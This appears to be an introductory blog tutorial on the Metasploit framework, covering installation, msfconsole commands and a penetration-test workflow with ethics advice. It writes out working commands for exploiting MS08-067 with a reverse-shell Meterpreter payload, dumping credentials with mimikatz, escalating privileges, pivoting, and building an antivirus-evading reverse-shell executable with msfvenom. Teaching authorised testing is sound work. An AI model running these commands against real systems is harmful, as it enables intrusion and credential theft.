Basic Guide to Metasploit
March 19, 2024
What Is Metasploit?
Metasploit is a modular, open-source framework designed to help security professionals and ethical hackers discover, validate, and exploit vulnerabilities in remote systems. Originally created in Ruby by HD Moore in 2003, it has grown into the industry standard for penetration testing, offering:
- Exploits that leverage security flaws in software
- Payloads (like Meterpreter) that run on compromised hosts
- Auxiliary modules for scanning, fuzzing, and reconnaissance
- Post-exploitation tools to pivot, escalate privileges, and gather evidence
Because Metasploit abstracts the gritty details of exploit development, you can focus on methodology and strategy rather than reinventing low-level code.
Core Components
Understanding Metasploit’s building blocks will help you navigate the framework more efficiently:
msfconsole
- What it is: The command-line interface for interacting with the framework.
- Why it matters: Central hub for searching modules, configuring options, launching attacks, and managing sessions.
Module Types
- Exploit: Code that triggers a vulnerability (e.g.,
exploit/windows/smb/ms17_010_eternalblue). - Payload: Code delivered by an exploit (e.g.,
windows/x64/meterpreter/reverse_tcp). Meterpreter is the gold standard payload-lightweight, extensible, and scriptable. - Auxiliary: Non-exploit tools (scanners, sniffers, fuzzers). Example:
auxiliary/scanner/ssh/ssh_version. - Post: Actions to run on a compromised host (gather credentials, escalate privileges, pivot). Example:
post/windows/gather/credentials/mimikatz.
msfvenom
- What it is: A standalone utility for crafting custom payloads and shellcode.
- Use cases: Generate bind/reverse shells, encode payloads to evade antivirus, export to different formats (exe, elf, raw).
Installing Metasploit
Metasploit is pre-installed on Kali Linux, but you can also install it on other platforms:
Kali Linux
sudo apt update && sudo apt install metasploit-framework
Kali’s rolling-release model ensures you get the latest modules and features.
Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/
config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
After installation, run msfconsole to verify.
Windows (via WSL)
- Enable WSL and install Ubuntu from the Microsoft Store.
- Follow the Ubuntu steps above inside your WSL shell.
- Use
msfconsoleinside WSL or integrate with Windows Terminal.
First Steps in msfconsole
Launch:
msfconsole
You’ll see a banner and the msf > prompt. Key starter commands:
search name:<keyword>- find modules by name or description.info <module>- view options, targets, and references for a module.use <module>- select a module for configuration.set <option> <value>- configure parameters (e.g.,set RHOSTS 10.0.0.5).show options- list required and optional settings.runorexploit- execute the configured module.sessions -l- list active Meterpreter or shell sessions.
The Penetration-Test Workflow
A typical engagement follows a structured methodology:
Reconnaissance & Scanning
Use auxiliary modules to map your target:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.0.0/24
set THREADS 50
run
Next, enumerate services:
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.0.0.5
run
Gathering banners and versions informs which exploits to try.
Selecting & Configuring an Exploit
Once you identify a vulnerable service, choose the matching exploit:
search ms08_067
use exploit/windows/smb/ms08_067_netapi
Configure target and payload:
set RHOST 10.0.0.5
set LHOST 10.0.0.10
set PAYLOAD windows/meterpreter/reverse_tcp
show targets
set TARGET 0
exploit
Meterpreter session opens on success.
Post-Exploitation
With Meterpreter up, you can:
- Browse the filesystem:
ls,cd C:\\Users\\Public - Dump credentials:
run post/windows/gather/credentials/mimikatz - Privilege escalation:
run post/windows/escalate/getsystem - Pivoting: Configure SOCKS proxy with
run post/multi/manage/socks_proxyand route further scans through the compromised host.
Advanced Techniques
msfvenom Payload Crafting
Generate an encoded reverse shell to bypass simple antivirus rules:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.10 LPORT=4444 -f exe -e x86/shikata_ga_nai \
-i 5 -o shell_obf.exe
-e: encoder-i: iterations
Database Integration
Persist your findings across sessions:
-
Start PostgreSQL and Metasploit’s database:
sudo systemctl start postgresql msfdb init - In
msfconsole, verify withdb_status. - Use
hosts,services, andvulnscommands to track assets and findings.
Resource Scripts
Automate repetitive tasks with .rc files:
# quick_scan.rc
workspace -a clientA
db_nmap -sV 10.0.0.0/24
vulns
Then in msfconsole:
resource quick_scan.rc
Best Practices & Ethical Considerations
- Written Consent: Always have a signed authorization before testing.
- Isolation: Conduct tests in a controlled lab or isolated network to avoid collateral damage.
- Logging & Reporting: Keep detailed notes (Metasploit’s loot files, module output) and produce clear, actionable reports.
- Stay Updated: Regularly update both Metasploit and your OS to access the latest modules and protect your attack machine.
- Clean Up: Remove any persistent backdoors or listeners you’ve installed to leave the target in its original state.
Troubleshooting Tips
- Module Fails to Load? Run
msfupdateor reinstall the framework. - Stuck on “Loading Plugins”? Delete
~/.msf4and let Metasploit regenerate its configuration. - Slow Console Performance? Disable unwanted plugins (
load none) or switch to a lighter terminal emulator.
Learning Resources
-
Official Metasploit Documentation: https://docs.rapid7.com/metasploit/
-
Metasploit Unleashed (Offensive Security): https://www.offensive-security.com/metasploit-unleashed/
-
Community:
- /r/Metasploit on Reddit
- Rapid7 Community Forums
- Twitter / X handles: @hdmoore, @rapid7
Next Steps
- Build a Home Lab: Spin up VMs with vulnerable services (Metasploitable, OWASP Broken Web Apps).
- Script Your Workflows: Write custom auxiliary modules in Ruby to automate niche tasks.
- Contribute: Submit new modules or bug fixes to the Metasploit GitHub repository.
Metasploit is a gateway to endless learning in cybersecurity. By mastering its modules, workflows, and best practices, you’ll be well on your way to becoming an effective, responsible penetration tester.